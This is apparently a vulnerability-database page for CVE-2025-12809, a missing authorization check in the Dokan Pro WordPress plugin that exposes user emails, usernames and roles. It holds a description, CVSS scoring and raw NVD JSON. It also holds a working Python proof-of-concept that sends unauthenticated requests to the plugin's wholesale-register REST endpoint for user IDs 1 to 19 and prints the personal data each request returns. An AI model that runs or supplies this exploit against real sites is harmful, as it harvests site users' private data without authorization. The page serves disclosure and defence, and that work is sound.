Security Vulnerability Report
中文
CVE-2025-12809 CVSS 5.3 MEDIUM

CVE-2025-12809

Published: 2025-12-16 06:15:42
Last Modified: 2026-04-15 00:35:42

Description

The Dokan Pro plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the `/dokan/v1/wholesale/register` REST API endpoint in all versions up to, and including, 4.1.3. This makes it possible for unauthenticated attackers to enumerate users and retrieve their email addresses via the REST API by providing a user ID, along with other information such as usernames, display names, user roles, and registration dates.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Dokan Pro WordPress Plugin <= 4.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12809 PoC - Dokan Pro Unauthenticated User Enumeration # Target: WordPress site with Dokan Pro plugin <= 4.1.3 import requests import json import sys def check_dokan_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-12809 Dokan Pro plugin /dokan/v1/wholesale/register endpoint lacks authentication """ # Remove trailing slash target_url = target_url.rstrip('/') # Construct the vulnerable endpoint endpoint = f"{target_url}/wp-json/dokan/v1/wholesale/register" print(f"[*] Testing target: {target_url}") print(f"[*] Endpoint: {endpoint}") print("-" * 60) # Test with different user IDs (typically starting from 1) vulnerable_users = [] for user_id in range(1, 20): # Scan first 20 user IDs try: # Method 1: GET request with user_id parameter params = {"user_id": user_id} response = requests.get(endpoint, params=params, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() if data and len(data) > 0: print(f"[+] User ID {user_id}: Found") print(f" Response: {json.dumps(data, indent=2)}") vulnerable_users.append({"id": user_id, "data": data}) except json.JSONDecodeError: pass # Method 2: POST request post_data = {"user_id": user_id} response = requests.post(endpoint, json=post_data, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() if data and len(data) > 0: print(f"[+] User ID {user_id} (POST): Found") print(f" Response: {json.dumps(data, indent=2)}") if not any(u['id'] == user_id for u in vulnerable_users): vulnerable_users.append({"id": user_id, "data": data}) except json.JSONDecodeError: pass except requests.exceptions.RequestException as e: print(f"[-] Error testing user ID {user_id}: {e}") continue print("-" * 60) if vulnerable_users: print(f"[!] VULNERABLE: Found {len(vulnerable_users)} users via enumeration") return True else: print("[-] Target may not be vulnerable or no users found in range") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12809-poc.py <target_url>") print("Example: python cve-2025-12809-poc.py https://example.com") sys.exit(1) target = sys.argv[1] check_dokan_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12809", "sourceIdentifier": "[email protected]", "published": "2025-12-16T06:15:41.853", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Dokan Pro plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the `/dokan/v1/wholesale/register` REST API endpoint in all versions up to, and including, 4.1.3. This makes it possible for unauthenticated attackers to enumerate users and retrieve their email addresses via the REST API by providing a user ID, along with other information such as usernames, display names, user roles, and registration dates."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://dokan.co/wordpress/changelog/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/534557b0-16d2-4a77-a118-b66fc7474ecf?source=cve", "source": "[email protected]"}]}}